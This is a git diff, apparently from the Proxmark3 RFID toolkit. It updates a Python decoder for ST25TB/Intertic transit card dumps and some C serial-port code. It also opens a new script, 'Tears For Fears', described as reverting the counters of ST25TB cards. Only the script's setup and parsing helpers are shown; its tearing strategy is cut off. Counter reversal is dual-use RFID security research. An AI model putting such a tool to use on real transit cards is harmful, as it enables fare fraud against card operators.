},
|
},
|
||||||
0x917: {
|
0x917: {
|
||||||
4: 'Angers (Irigo / RATP)',
|
4: InterticHelper('Angers', 'Irigo / RATP', Describe_Usage_1_2),
|
||||||
7: 'Saint-Nazaire (Stran)',
|
7: InterticHelper('Saint-Nazaire', 'Stran'),
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -139,99 +314,73 @@ def main():
|
||||||
|
|
||||||
file.close()
|
file.close()
|
||||||
|
|
||||||
SystemArea = BitMe()
|
|
||||||
Distribution_Data = BitMe()
|
Distribution_Data = BitMe()
|
||||||
C1 = BitMe()
|
Block0Left = BitMe()
|
||||||
C2 = BitMe()
|
# Usage_DAT = BitMe()
|
||||||
Usage_Sta_B = BitMe()
|
# Usage_CER = BitMe()
|
||||||
Usage_Sta_E = BitMe()
|
Usage_A_DAT = BitMe()
|
||||||
Usage_Data = BitMe()
|
Usage_A_CER = BitMe()
|
||||||
Usage_Cer = BitMe()
|
Usage_B_DAT = BitMe()
|
||||||
|
Usage_B_CER = BitMe()
|
||||||
Distribution_Cer = BitMe()
|
Distribution_Cer = BitMe()
|
||||||
|
|
||||||
|
SWAP = None
|
||||||
|
RELOADING1 = None
|
||||||
|
COUNTER1 = None
|
||||||
|
# RELOADING2 = None
|
||||||
|
# COUNTER2 = None
|
||||||
|
Describe_Usage = None
|
||||||
|
|
||||||
Distribution_Data_End = data.nom_bits(24)
|
Block0Left.addBits(data.nom_bits(23))
|
||||||
SystemArea.addBits(data.nom_bits(8))
|
KeyId = data.nom(4)
|
||||||
|
PID = data.nom(5)
|
||||||
PID = SystemArea.nom(5)
|
|
||||||
bIsFlipFlop = PID & 0x10
|
|
||||||
KeyId = SystemArea.nom(3)
|
|
||||||
|
|
||||||
print()
|
|
||||||
print('PID (product): 0x{:02x} (flipflop?: {})'.format(PID, bIsFlipFlop));
|
|
||||||
print('KeyId :', hex(KeyId));
|
|
||||||
|
|
||||||
match PID:
|
match PID:
|
||||||
|
|
||||||
case 0x02:
|
case 0x10:
|
||||||
Distribution_Data.addBits(data.nom_bits(3 * 32))
|
Distribution_Data.addBits(data.nom_bits(2 * 32))
|
||||||
Usage_Data_End = data.nom_bits(30)
|
Distribution_Data.addBits(Block0Left.nom_bits_left())
|
||||||
Usage_Sta_B.addBits(data.nom_bits(2))
|
Usage_A_DAT.addBits(data.nom_bits(2 * 32))
|
||||||
C1.addBits(data.nom_bits(32))
|
RELOADING1 = data.nom(8)
|
||||||
C2.addBits(data.nom_bits(32))
|
COUNTER1 = data.nom(24)
|
||||||
Usage_Data.addBits(data.nom_bits(7 * 32))
|
SWAP = data.nom(32)
|
||||||
Usage_Data.addBits(Usage_Data_End)
|
Usage_A_DAT.addBits(data.nom_bits(2 * 32))
|
||||||
Usage_Data.addBits(data.nom_bits(14))
|
Usage_A_DAT.addBits(data.nom_bits(16))
|
||||||
Usage_Sta_E.addBits(data.nom_bits(2))
|
Usage_A_CER.addBits(data.nom_bits(16))
|
||||||
Usage_Cer.addBits(data.nom_bits(16))
|
Usage_B_DAT.addBits(data.nom_bits(4 * 32))
|
||||||
|
Usage_B_DAT.addBits(data.nom_bits(16))
|
||||||
|
Usage_B_CER.addBits(data.nom_bits(16))
|
||||||
Distribution_Cer.addBits(data.nom_bits(32))
|
Distribution_Cer.addBits(data.nom_bits(32))
|
||||||
|
|
||||||
case 0x06:
|
case 0x11 | 0x19:
|
||||||
Distribution_Data.addBits(data.nom_bits(4 * 32))
|
Distribution_Data.addBits(data.nom_bits(4 * 32))
|
||||||
C1.addBits(data.nom_bits(32))
|
Distribution_Data.addBits(Block0Left.nom_bits_left())
|
||||||
C2.addBits(data.nom_bits(32))
|
RELOADING1 = data.nom(8)
|
||||||
Distribution_Data.addBits(data.nom_bits(3 * 32))
|
COUNTER1 = data.nom(24)
|
||||||
Distribution_Data.addBits(Distribution_Data_End)
|
SWAP = data.nom(32)
|
||||||
Usage_Data_End = data.nom_bits(30)
|
Usage_A_DAT.addBits(data.nom_bits(3 * 32))
|
||||||
Usage_Sta_B.addBits(data.nom_bits(2))
|
Usage_A_DAT.addBits(data.nom_bits(16))
|
||||||
Usage_Data.addBits(data.nom_bits(3 * 32))
|
Usage_A_CER.addBits(data.nom_bits(16))
|
||||||
Usage_Data.addBits(Usage_Data_End)
|
Usage_B_DAT.addBits(data.nom_bits(3 * 32))
|
||||||
Usage_Data.addBits(data.nom_bits(14))
|
Usage_B_DAT.addBits(data.nom_bits(16))
|
||||||
Usage_Sta_E.addBits(data.nom_bits(2))
|
Usage_B_CER.addBits(data.nom_bits(16))
|
||||||
Usage_Cer.addBits(data.nom_bits(16))
|
|
||||||
Distribution_Cer.addBits(data.nom_bits(32))
|
|
||||||
|
|
||||||
case 0x07:
|
|
||||||
Distribution_Data.addBits(data.nom_bits(4 * 32))
|
|
||||||
C1.addBits(data.nom_bits(32))
|
|
||||||
C2.addBits(data.nom_bits(32))
|
|
||||||
Distribution_Data.addBits(data.nom_bits(4 * 32))
|
|
||||||
Distribution_Data.addBits(Distribution_Data_End)
|
|
||||||
Usage_Data_End = data.nom_bits(30)
|
|
||||||
Usage_Sta_B.addBits(data.nom_bits(2))
|
|
||||||
Usage_Data.addBits(data.nom_bits(3 * 32))
|
|
||||||
Usage_Data.addBits(Usage_Data_End)
|
|
||||||
Usage_Data.addBits(data.nom_bits(14))
|
|
||||||
Usage_Sta_E.addBits(data.nom_bits(2))
|
|
||||||
Usage_Cer.addBits(data.nom_bits(16))
|
|
||||||
Distribution_Cer.addBits(data.nom_bits(32))
|
|
||||||
|
|
||||||
case 0x0a:
|
|
||||||
Distribution_Data.addBits(data.nom_bits(4 * 32))
|
|
||||||
C1.addBits(data.nom_bits(32))
|
|
||||||
C2.addBits(data.nom_bits(32))
|
|
||||||
Distribution_Data.addBits(data.nom_bits(8 * 32))
|
|
||||||
Distribution_Data.addBits(Distribution_Data_End)
|
|
||||||
Distribution_Cer.addBits(data.nom_bits(32))
|
|
||||||
# No USAGE for 0x0a
|
|
||||||
|
|
||||||
case 0x0b: # Not in the draft :(
|
|
||||||
Distribution_Data.addBits(data.nom_bits(4 * 32))
|
|
||||||
C1.addBits(data.nom_bits(32))
|
|
||||||
C2.addBits(data.nom_bits(32))
|
|
||||||
Distribution_Data.addBits(data.nom_bits(8 * 32))
|
|
||||||
Distribution_Data.addBits(Distribution_Data_End)
|
|
||||||
Distribution_Cer.addBits(data.nom_bits(32))
|
Distribution_Cer.addBits(data.nom_bits(32))
|
||||||
|
|
||||||
case _:
|
case _:
|
||||||
print('PID not (yet?) supported')
|
print('PID not (yet?) supported: 0x{:02x}'.format(PID))
|
||||||
return 3
|
return 3
|
||||||
|
|
||||||
|
|
||||||
|
print('PID (product): 0x{:02x} (flipflop?: {})'.format(PID, (PID & 0x10) != 0));
|
||||||
|
print('KeyId : 0x{:1x}'.format(KeyId))
|
||||||
|
print()
|
||||||
|
|
||||||
'''
|
'''
|
||||||
DISTRIBUTION
|
DISTRIBUTION
|
||||||
------------
|
------------
|
||||||
Not very well documented but seems standard for this part
|
Not very well documented but seems standard for this part
|
||||||
'''
|
'''
|
||||||
|
if not Distribution_Data.isEmpty():
|
||||||
|
|
||||||
ContractNetworkId = Distribution_Data.nom_bits(24)
|
ContractNetworkId = Distribution_Data.nom_bits(24)
|
||||||
CountryCode = ba2int(ContractNetworkId[0:0+12])
|
CountryCode = ba2int(ContractNetworkId[0:0+12])
|
||||||
|
@ -244,21 +393,6 @@ def main():
|
||||||
|
|
||||||
Distribution_left = Distribution_Data.nom_bits_left()
|
Distribution_left = Distribution_Data.nom_bits_left()
|
||||||
|
|
||||||
RELOADING1 = C1.nom(8)
|
|
||||||
COUNTER1 = C1.nom(24)
|
|
||||||
RELOADING2 = C2.nom(8)
|
|
||||||
COUNTER2 = C2.nom(24)
|
|
||||||
|
|
||||||
'''
|
|
||||||
USAGE
|
|
||||||
-----
|
|
||||||
No documentation about Usage
|
|
||||||
All is left
|
|
||||||
'''
|
|
||||||
Usage_left = Usage_Data.nom_bits_left()
|
|
||||||
|
|
||||||
if not Distribution_Data.isEmpty():
|
|
||||||
print()
|
|
||||||
print('DISTRIBUTION')
|
print('DISTRIBUTION')
|
||||||
print(' CountryCode : {:03x} - {}'.format(CountryCode, ISO_Countries.get(CountryCode, '?')));
|
print(' CountryCode : {:03x} - {}'.format(CountryCode, ISO_Countries.get(CountryCode, '?')));
|
||||||
print(' OrganizationalAuthority : {:03x}'.format(OrganizationalAuthority));
|
print(' OrganizationalAuthority : {:03x}'.format(OrganizationalAuthority));
|
||||||
|
@ -269,23 +403,42 @@ def main():
|
||||||
if (oa is not None):
|
if (oa is not None):
|
||||||
s = oa.get(ContractProvider)
|
s = oa.get(ContractProvider)
|
||||||
if (s is not None):
|
if (s is not None):
|
||||||
print(' ~ Authority & Provider ~ :', s)
|
print(' ~ Authority & Provider ~ : {} ({})'.format(s.OrganizationalAuthority, s.ContractProvider))
|
||||||
|
Describe_Usage = s.UsageDescribeFunction
|
||||||
print(' ContractTariff :', ContractTariff);
|
print(' ContractTariff :', ContractTariff);
|
||||||
print(' ContractMediumEndDate : {} ({})'.format(ContractMediumEndDate, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate)).strftime('%Y-%m-%d')));
|
print(' ContractMediumEndDate : {} ({})'.format(ContractMediumEndDate, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate)).strftime('%Y-%m-%d')));
|
||||||
print(' left... :', Distribution_left);
|
print(' left... :', Distribution_left);
|
||||||
print(' [CER] Distribution : {:08x}'.format(Distribution_Cer.nom(32)))
|
print(' [CER] Distribution : {:08x}'.format(Distribution_Cer.nom(32)))
|
||||||
|
|
||||||
print()
|
print()
|
||||||
print('COUNTER')
|
|
||||||
print(' [1] Counter: 0x{:06x} - Reloading available 0x{:02x}'.format(COUNTER1, RELOADING1))
|
|
||||||
print(' [2] Counter: 0x{:06x} - Reloading available 0x{:02x}'.format(COUNTER2, RELOADING2))
|
|
||||||
|
|
||||||
if not Usage_Data.isEmpty():
|
if(Describe_Usage is None):
|
||||||
|
Describe_Usage = Describe_Usage_Generic
|
||||||
|
|
||||||
|
if COUNTER1 is not None:
|
||||||
|
print('[1] Counter: 0x{:06x} - Reloading available: 0x{:02x}'.format(COUNTER1, RELOADING1))
|
||||||
|
# if COUNTER2 is not None:
|
||||||
|
# print('[2] Counter: 0x{:06x} - Reloading available: 0x{:02x}'.format(COUNTER2, RELOADING2))
|
||||||
|
if SWAP is not None:
|
||||||
|
print('[S] SWAP : 0x{:08x} - last usage on USAGE_{}'.format(SWAP, 'B' if SWAP & 0b1 else 'A'))
|
||||||
|
|
||||||
|
|
||||||
|
'''
|
||||||
|
USAGE
|
||||||
|
-----
|
||||||
|
No real documentation about Usage
|
||||||
|
Nearly all is left... - did not seen implementation with 2 counters or 1 Usage
|
||||||
|
'''
|
||||||
|
|
||||||
|
if not Usage_A_DAT.isEmpty():
|
||||||
print()
|
print()
|
||||||
print('USAGE')
|
print('USAGE_A')
|
||||||
|
Describe_Usage(Usage_A_DAT, ContractMediumEndDate, Usage_A_CER)
|
||||||
|
|
||||||
|
if not Usage_B_DAT.isEmpty():
|
||||||
|
print()
|
||||||
|
print('USAGE_B')
|
||||||
|
Describe_Usage(Usage_B_DAT, ContractMediumEndDate, Usage_B_CER)
|
||||||
|
|
||||||
print(' left... :', Usage_left);
|
|
||||||
print(' [CER] Usage : {:04x}'.format(Usage_Cer.nom(16)))
|
|
||||||
|
|
||||||
return 0
|
return 0
|
||||||
|
|
||||||
|
|
|
@ -161,8 +161,9 @@ static void SendCommandNG_internal(uint16_t cmd, uint8_t *data, size_t len, bool
|
||||||
txBufferNG.pre.ng = ng;
|
txBufferNG.pre.ng = ng;
|
||||||
txBufferNG.pre.length = len;
|
txBufferNG.pre.length = len;
|
||||||
txBufferNG.pre.cmd = cmd;
|
txBufferNG.pre.cmd = cmd;
|
||||||
if (len > 0 && data)
|
if (len > 0 && data) {
|
||||||
memcpy(&txBufferNG.data, data, len);
|
memcpy(&txBufferNG.data, data, len);
|
||||||
|
}
|
||||||
|
|
||||||
if ((g_conn.send_via_fpc_usart && g_conn.send_with_crc_on_fpc) || ((!g_conn.send_via_fpc_usart) && g_conn.send_with_crc_on_usb)) {
|
if ((g_conn.send_via_fpc_usart && g_conn.send_with_crc_on_fpc) || ((!g_conn.send_via_fpc_usart) && g_conn.send_with_crc_on_usb)) {
|
||||||
uint8_t first = 0, second = 0;
|
uint8_t first = 0, second = 0;
|
||||||
|
@ -474,12 +475,15 @@ __attribute__((force_align_arg_pointer))
|
||||||
res = uart_receive(sp, (uint8_t *)&rx_raw.pre, sizeof(PacketResponseNGPreamble), &rxlen);
|
res = uart_receive(sp, (uint8_t *)&rx_raw.pre, sizeof(PacketResponseNGPreamble), &rxlen);
|
||||||
|
|
||||||
if ((res == PM3_SUCCESS) && (rxlen == sizeof(PacketResponseNGPreamble))) {
|
if ((res == PM3_SUCCESS) && (rxlen == sizeof(PacketResponseNGPreamble))) {
|
||||||
|
|
||||||
rx.magic = rx_raw.pre.magic;
|
rx.magic = rx_raw.pre.magic;
|
||||||
uint16_t length = rx_raw.pre.length;
|
uint16_t length = rx_raw.pre.length;
|
||||||
rx.ng = rx_raw.pre.ng;
|
rx.ng = rx_raw.pre.ng;
|
||||||
rx.status = rx_raw.pre.status;
|
rx.status = rx_raw.pre.status;
|
||||||
rx.cmd = rx_raw.pre.cmd;
|
rx.cmd = rx_raw.pre.cmd;
|
||||||
|
|
||||||
if (rx.magic == RESPONSENG_PREAMBLE_MAGIC) { // New style NG reply
|
if (rx.magic == RESPONSENG_PREAMBLE_MAGIC) { // New style NG reply
|
||||||
|
|
||||||
if (length > PM3_CMD_DATA_SIZE) {
|
if (length > PM3_CMD_DATA_SIZE) {
|
||||||
PrintAndLogEx(WARNING, "Received packet frame with incompatible length: 0x%04x", length);
|
PrintAndLogEx(WARNING, "Received packet frame with incompatible length: 0x%04x", length);
|
||||||
error = true;
|
error = true;
|
||||||
|
@ -488,30 +492,38 @@ __attribute__((force_align_arg_pointer))
|
||||||
if ((!error) && (length > 0)) { // Get the variable length payload
|
if ((!error) && (length > 0)) { // Get the variable length payload
|
||||||
|
|
||||||
res = uart_receive(sp, (uint8_t *)&rx_raw.data, length, &rxlen);
|
res = uart_receive(sp, (uint8_t *)&rx_raw.data, length, &rxlen);
|
||||||
|
|
||||||
if ((res != PM3_SUCCESS) || (rxlen != length)) {
|
if ((res != PM3_SUCCESS) || (rxlen != length)) {
|
||||||
|
|
||||||
PrintAndLogEx(WARNING, "Received packet frame with variable part too short? %d/%d", rxlen, length);
|
PrintAndLogEx(WARNING, "Received packet frame with variable part too short? %d/%d", rxlen, length);
|
||||||
error = true;
|
error = true;
|
||||||
|
|
||||||
} else {
|
} else {
|
||||||
|
|
||||||
if (rx.ng) { // Received a valid NG frame
|
if (rx.ng) { // Received a valid NG frame
|
||||||
|
|
||||||
memcpy(&rx.data, &rx_raw.data, length);
|
memcpy(&rx.data, &rx_raw.data, length);
|
||||||
rx.length = length;
|
rx.length = length;
|
||||||
if ((rx.cmd == g_conn.last_command) && (rx.status == PM3_SUCCESS)) {
|
if ((rx.cmd == g_conn.last_command) && (rx.status == PM3_SUCCESS)) {
|
||||||
ACK_received = true;
|
ACK_received = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
} else {
|
} else {
|
||||||
uint64_t arg[3];
|
uint64_t arg[3];
|
||||||
if (length < sizeof(arg)) {
|
if (length < sizeof(arg)) {
|
||||||
PrintAndLogEx(WARNING, "Received MIX packet frame with incompatible length: 0x%04x", length);
|
PrintAndLogEx(WARNING, "Received MIX packet frame with incompatible length: 0x%04x", length);
|
||||||
error = true;
|
error = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!error) { // Received a valid MIX frame
|
if (!error) { // Received a valid MIX frame
|
||||||
|
|
||||||
memcpy(arg, &rx_raw.data, sizeof(arg));
|
memcpy(arg, &rx_raw.data, sizeof(arg));
|
||||||
rx.oldarg[0] = arg[0];
|
rx.oldarg[0] = arg[0];
|
||||||
rx.oldarg[1] = arg[1];
|
rx.oldarg[1] = arg[1];
|
||||||
rx.oldarg[2] = arg[2];
|
rx.oldarg[2] = arg[2];
|
||||||
memcpy(&rx.data, ((uint8_t *)&rx_raw.data) + sizeof(arg), length - sizeof(arg));
|
memcpy(&rx.data, ((uint8_t *)&rx_raw.data) + sizeof(arg), length - sizeof(arg));
|
||||||
rx.length = length - sizeof(arg);
|
rx.length = length - sizeof(arg);
|
||||||
|
|
||||||
if (rx.cmd == CMD_ACK) {
|
if (rx.cmd == CMD_ACK) {
|
||||||
ACK_received = true;
|
ACK_received = true;
|
||||||
}
|
}
|
||||||
|
@ -519,12 +531,14 @@ __attribute__((force_align_arg_pointer))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else if ((!error) && (length == 0)) { // we received an empty frame
|
} else if ((!error) && (length == 0)) { // we received an empty frame
|
||||||
if (rx.ng)
|
|
||||||
|
if (rx.ng) {
|
||||||
rx.length = 0; // set received length to 0
|
rx.length = 0; // set received length to 0
|
||||||
else { // old frames can't be empty
|
} else { // old frames can't be empty
|
||||||
PrintAndLogEx(WARNING, "Received empty MIX packet frame (length: 0x00)");
|
PrintAndLogEx(WARNING, "Received empty MIX packet frame (length: 0x00)");
|
||||||
error = true;
|
error = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!error) { // Get the postamble
|
if (!error) { // Get the postamble
|
||||||
|
@ -537,9 +551,12 @@ __attribute__((force_align_arg_pointer))
|
||||||
|
|
||||||
if (!error) { // Check CRC, accept MAGIC as placeholder
|
if (!error) { // Check CRC, accept MAGIC as placeholder
|
||||||
rx.crc = rx_raw.foopost.crc;
|
rx.crc = rx_raw.foopost.crc;
|
||||||
|
|
||||||
if (rx.crc != RESPONSENG_POSTAMBLE_MAGIC) {
|
if (rx.crc != RESPONSENG_POSTAMBLE_MAGIC) {
|
||||||
|
|
||||||
uint8_t first, second;
|
uint8_t first, second;
|
||||||
compute_crc(CRC_14443_A, (uint8_t *)&rx_raw, sizeof(PacketResponseNGPreamble) + length, &first, &second);
|
compute_crc(CRC_14443_A, (uint8_t *)&rx_raw, sizeof(PacketResponseNGPreamble) + length, &first, &second);
|
||||||
|
|
||||||
if ((first << 8) + second != rx.crc) {
|
if ((first << 8) + second != rx.crc) {
|
||||||
PrintAndLogEx(WARNING, "Received packet frame with invalid CRC %02X%02X <> %04X", first, second, rx.crc);
|
PrintAndLogEx(WARNING, "Received packet frame with invalid CRC %02X%02X <> %04X", first, second, rx.crc);
|
||||||
error = true;
|
error = true;
|
||||||
|
|
|
@ -387,11 +387,15 @@ serial_port uart_open(const char *pcPortName, uint32_t speed, bool slient) {
|
||||||
return INVALID_SERIAL_PORT;
|
return INVALID_SERIAL_PORT;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Flush all lingering data that may exist
|
||||||
|
tcflush(sp->fd, TCIOFLUSH);
|
||||||
|
|
||||||
// Duplicate the (old) terminal info struct
|
// Duplicate the (old) terminal info struct
|
||||||
sp->tiNew = sp->tiOld;
|
sp->tiNew = sp->tiOld;
|
||||||
|
|
||||||
// Configure the serial port
|
// Configure the serial port.
|
||||||
sp->tiNew.c_cflag = CS8 | CLOCAL | CREAD;
|
// fix: default to 115200 here seems to fix the white dongle issue. Will need to check proxbuilds later.
|
||||||
|
sp->tiNew.c_cflag = B115200 | CS8 | CLOCAL | CREAD;
|
||||||
sp->tiNew.c_iflag = IGNPAR;
|
sp->tiNew.c_iflag = IGNPAR;
|
||||||
sp->tiNew.c_oflag = 0;
|
sp->tiNew.c_oflag = 0;
|
||||||
sp->tiNew.c_lflag = 0;
|
sp->tiNew.c_lflag = 0;
|
||||||
|
@ -401,6 +405,17 @@ serial_port uart_open(const char *pcPortName, uint32_t speed, bool slient) {
|
||||||
// Block until a timer expires (n * 100 mSec.)
|
// Block until a timer expires (n * 100 mSec.)
|
||||||
sp->tiNew.c_cc[VTIME] = 0;
|
sp->tiNew.c_cc[VTIME] = 0;
|
||||||
|
|
||||||
|
// more configurations
|
||||||
|
sp->tiNew.c_cc[VINTR] = 0; /* Ctrl-c */
|
||||||
|
sp->tiNew.c_cc[VQUIT] = 0; /* Ctrl-\ */
|
||||||
|
sp->tiNew.c_cc[VERASE] = 0; /* del */
|
||||||
|
sp->tiNew.c_cc[VKILL] = 0; /* @ */
|
||||||
|
sp->tiNew.c_cc[VEOF] = 4; /* Ctrl-d */
|
||||||
|
sp->tiNew.c_cc[VSTART] = 0; /* Ctrl-q */
|
||||||
|
sp->tiNew.c_cc[VSTOP] = 0; /* Ctrl-s */
|
||||||
|
sp->tiNew.c_cc[VSUSP] = 0; /* Ctrl-z */
|
||||||
|
sp->tiNew.c_cc[VEOL] = 0; /* '\0' */
|
||||||
|
|
||||||
// Try to set the new terminal info struct
|
// Try to set the new terminal info struct
|
||||||
if (tcsetattr(sp->fd, TCSANOW, &sp->tiNew) == -1) {
|
if (tcsetattr(sp->fd, TCSANOW, &sp->tiNew) == -1) {
|
||||||
PrintAndLogEx(ERR, "error: UART set terminal info attribute");
|
PrintAndLogEx(ERR, "error: UART set terminal info attribute");
|
||||||
|
@ -695,9 +710,14 @@ bool uart_set_speed(serial_port sp, const uint32_t uiPortSpeed) {
|
||||||
// Set port speed (Input and Output)
|
// Set port speed (Input and Output)
|
||||||
cfsetispeed(&ti, stPortSpeed);
|
cfsetispeed(&ti, stPortSpeed);
|
||||||
cfsetospeed(&ti, stPortSpeed);
|
cfsetospeed(&ti, stPortSpeed);
|
||||||
|
|
||||||
|
// flush
|
||||||
|
tcflush(spu->fd, TCIOFLUSH);
|
||||||
|
|
||||||
bool result = tcsetattr(spu->fd, TCSANOW, &ti) != -1;
|
bool result = tcsetattr(spu->fd, TCSANOW, &ti) != -1;
|
||||||
if (result)
|
if (result) {
|
||||||
g_conn.uart_speed = uiPortSpeed;
|
g_conn.uart_speed = uiPortSpeed;
|
||||||
|
}
|
||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
553
tools/pm3_tears_for_fears.py
Normal file
553
tools/pm3_tears_for_fears.py
Normal file
|
@ -0,0 +1,553 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
|
||||||
|
#+---------------------------------------------------------------------------+
|
||||||
|
#| Tears For Fears : Utilities for reverting counters of ST25TB* cards |
|
||||||
|
#+---------------------------------------------------------------------------+
|
||||||
|
#| Copyright (C) Pierre Granier - 2024 |
|
||||||
|
#| |
|
||||||
|
#| This program is free software: you can redistribute it and/or modify |
|
||||||
|
#| it under the terms of the GNU General Public License as published by |
|
||||||
|
#| the Free Software Foundation, either version 3 of the License, or |
|
||||||
|
#| (at your option) any later version. |
|
||||||
|
#| |
|
||||||
|
#| This program is distributed in the hope that it will be useful, |
|
||||||
|
#| but WITHOUT ANY WARRANTY; without even the implied warranty of |
|
||||||
|
#| MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the |
|
||||||
|
#| GNU General Public License for more details. |
|
||||||
|
#| |
|
||||||
|
#| You should have received a copy of the GNU General Public License |
|
||||||
|
#| along with this program. If not, see <http://www.gnu.org/licenses/>. |
|
||||||
|
#+---------------------------------------------------------------------------+
|
||||||
|
#
|
||||||
|
# Ref:
|
||||||
|
# https://gitlab.com/SiliconOtter/tears4fears
|
||||||
|
#
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
from queue import Queue, Empty
|
||||||
|
import re
|
||||||
|
from subprocess import Popen, PIPE
|
||||||
|
from time import sleep
|
||||||
|
from threading import Thread
|
||||||
|
|
||||||
|
PM3_SUBPROC = None
|
||||||
|
PM3_SUBPROC_QUEUE = None
|
||||||
|
|
||||||
|
|
||||||
|
class colors:
|
||||||
|
|
||||||
|
reset = '\033[0m'
|
||||||
|
bold = '\033[01m'
|
||||||
|
disable = '\033[02m'
|
||||||
|
underline = '\033[04m'
|
||||||
|
reverse = '\033[07m'
|
||||||
|
strikethrough = '\033[09m'
|
||||||
|
invisible = '\033[08m'
|
||||||
|
|
||||||
|
purple = '\033[35m'
|
||||||
|
red = '\033[31m'
|
||||||
|
green = '\033[32m'
|
||||||
|
blue = '\033[34m'
|
||||||
|
lightred = '\033[91m'
|
||||||
|
lightgreen = '\033[92m'
|
||||||
|
lightblue = '\033[94m'
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
|
||||||
|
global PM3_SUBPROC
|
||||||
|
global PM3_SUBPROC_QUEUE
|
||||||
|
|
||||||
|
parser = argparse.ArgumentParser()
|
||||||
|
parser.add_argument("-s",
|
||||||
|
"--strat",
|
||||||
|
type=int,
|
||||||
|
nargs="?",
|
||||||
|
const="1",
|
||||||
|
default="1",
|
||||||
|
dest="strategy",
|
||||||
|
help="Strategy to use (default 1)")
|
||||||
|
parser.add_argument("-b",
|
||||||
|
"--block",
|
||||||
|
type=int,
|
||||||
|
nargs="?",
|
||||||
|
const="-1",
|
||||||
|
default="-1",
|
||||||
|
required=True,
|
||||||
|
dest="target_block",
|
||||||
|
help="Target Block")
|
||||||
|
parser.add_argument("-p",
|
||||||
|
"--pm3-client",
|
||||||
|
type=str,
|
||||||
|
default="pm3",
|
||||||
|
dest="pm3_path",
|
||||||
|
help="pm3 client path")
|
||||||
|
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
PM3_SUBPROC = Popen([args.pm3_path, "-i", "-f"], stdin=PIPE, stdout=PIPE)
|
||||||
|
PM3_SUBPROC_QUEUE = Queue()
|
||||||
|
|
||||||
|
thread = Thread(target=enqueue_output,
|
||||||
|
args=(PM3_SUBPROC.stdout, PM3_SUBPROC_QUEUE))
|
||||||
|
thread.start()
|
||||||
|
|
||||||
|
if args.target_block != -1:
|
||||||
|
tear_for_fears(args.target_block, args.strategy)
|
||||||
|
else:
|
||||||
|
parser.error("--block is required ")
|
||||||
|
|
||||||
|
sub_com('exit')
|
||||||
|
thread.join()
|
||||||
|
|
||||||
|
|
||||||
|
def enqueue_output(out, queue):
|
||||||
|
"""Continuously read PM3 client stdout and fill a global queue
|
||||||
|
|
||||||
|
Args:
|
||||||
|
out: stdout of PM3 client
|
||||||
|
queue: where to push "out" content
|
||||||
|
"""
|
||||||
|
for line in iter(out.readline, b""):
|
||||||
|
queue.put(line)
|
||||||
|
out.close()
|
||||||
|
|
||||||
|
|
||||||
|
def sub_com(command, func=None, sleep_over=0):
|
||||||
|
"""Send command to aPM3 client
|
||||||
|
|
||||||
|
Args:
|
||||||
|
command: String of the command to send
|
||||||
|
func: hook for a parsing function on the pm3 command end
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
result of the hooked function if any
|
||||||
|
"""
|
||||||
|
global PM3_SUBPROC
|
||||||
|
global PM3_SUBPROC_QUEUE
|
||||||
|
|
||||||
|
result = None
|
||||||
|
|
||||||
|
sleep(sleep_over)
|
||||||
|
|
||||||
|
PM3_SUBPROC.stdin.write(bytes((command + "\n").encode("ascii")))
|
||||||
|
PM3_SUBPROC.stdin.flush()
|
||||||
|
if func:
|
||||||
|
while not result:
|
||||||
|
try:
|
||||||
|
result = func(str(PM3_SUBPROC_QUEUE.get(timeout=.5)))
|
||||||
|
except Empty:
|
||||||
|
PM3_SUBPROC.stdin.write(bytes(
|
||||||
|
(command + "\n").encode("ascii")))
|
||||||
|
PM3_SUBPROC.stdin.flush()
|
||||||
|
|
||||||
|
return result
|
||||||
|
|
||||||
|
|
||||||
|
def set_space(space):
|
||||||
|
"""Placeholder for instrumentalization or do it manually
|
||||||
|
|
||||||
|
Args:
|
||||||
|
space: distance needed
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
"""
|
||||||
|
input(f"\nSet Reader <-> Card distance to {space} and press enter : \n")
|
||||||
|
|
||||||
|
|
||||||
|
def parse_rdbl(str_to_parse):
|
||||||
|
"""Return a list of str of a block from pm3 output
|
||||||
|
Uses `rbdl` in pm3 client
|
||||||
|
|
||||||
|
Args:
|
||||||
|
str_to_parse: string to parse
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
string list
|
||||||
|
"""
|
||||||
|
tmp = re.search(r"block \d*\.\.\. ([0-9a-fA-F]{2} ){4}", str_to_parse)
|
||||||
|
if tmp:
|
||||||
|
# print(tmp)
|
||||||
|
return re.findall(r"[0-9a-fA-F]{2}", tmp.group(0).split("... ")[1])
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def parse_UID(str_to_parse):
|
||||||
|
"""Return a card UID from pm3 output
|
||||||
|
|
||||||
|
Args:
|
||||||
|
str_to_parse: string to parse
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
string list
|
||||||
|
"""
|
||||||
|
tmp = re.search(r"UID: ([0-9a-fA-F]{2} )*", str_to_parse)
|
||||||
|
if tmp:
|
||||||
|
return re.findall(r"[0-9a-fA-F]{2}", tmp.group(0).split(": ")[1])
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def slist_to_int(list_source):
|
||||||
|
"""Return the int value associated to a bloc list of string
|
||||||
|
|
||||||
|
Args:
|
||||||
|
list_source: list to convert
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
represented int
|
||||||
|
"""
|
||||||
|
return ((int(list_source[3], 16) << 24) + (int(list_source[2], 16) << 16) +
|
||||||
|
(int(list_source[1], 16) << 8) + int(list_source[0], 16))
|
||||||
|
|
||||||
|
|
||||||
|
def int_to_slist(src):
|
||||||
|
"""Return the list of string from the int value associated to a block
|
||||||
|
|
||||||
|
Args:
|
||||||
|
src: int to convert
|
||||||
|
|
||||||
|
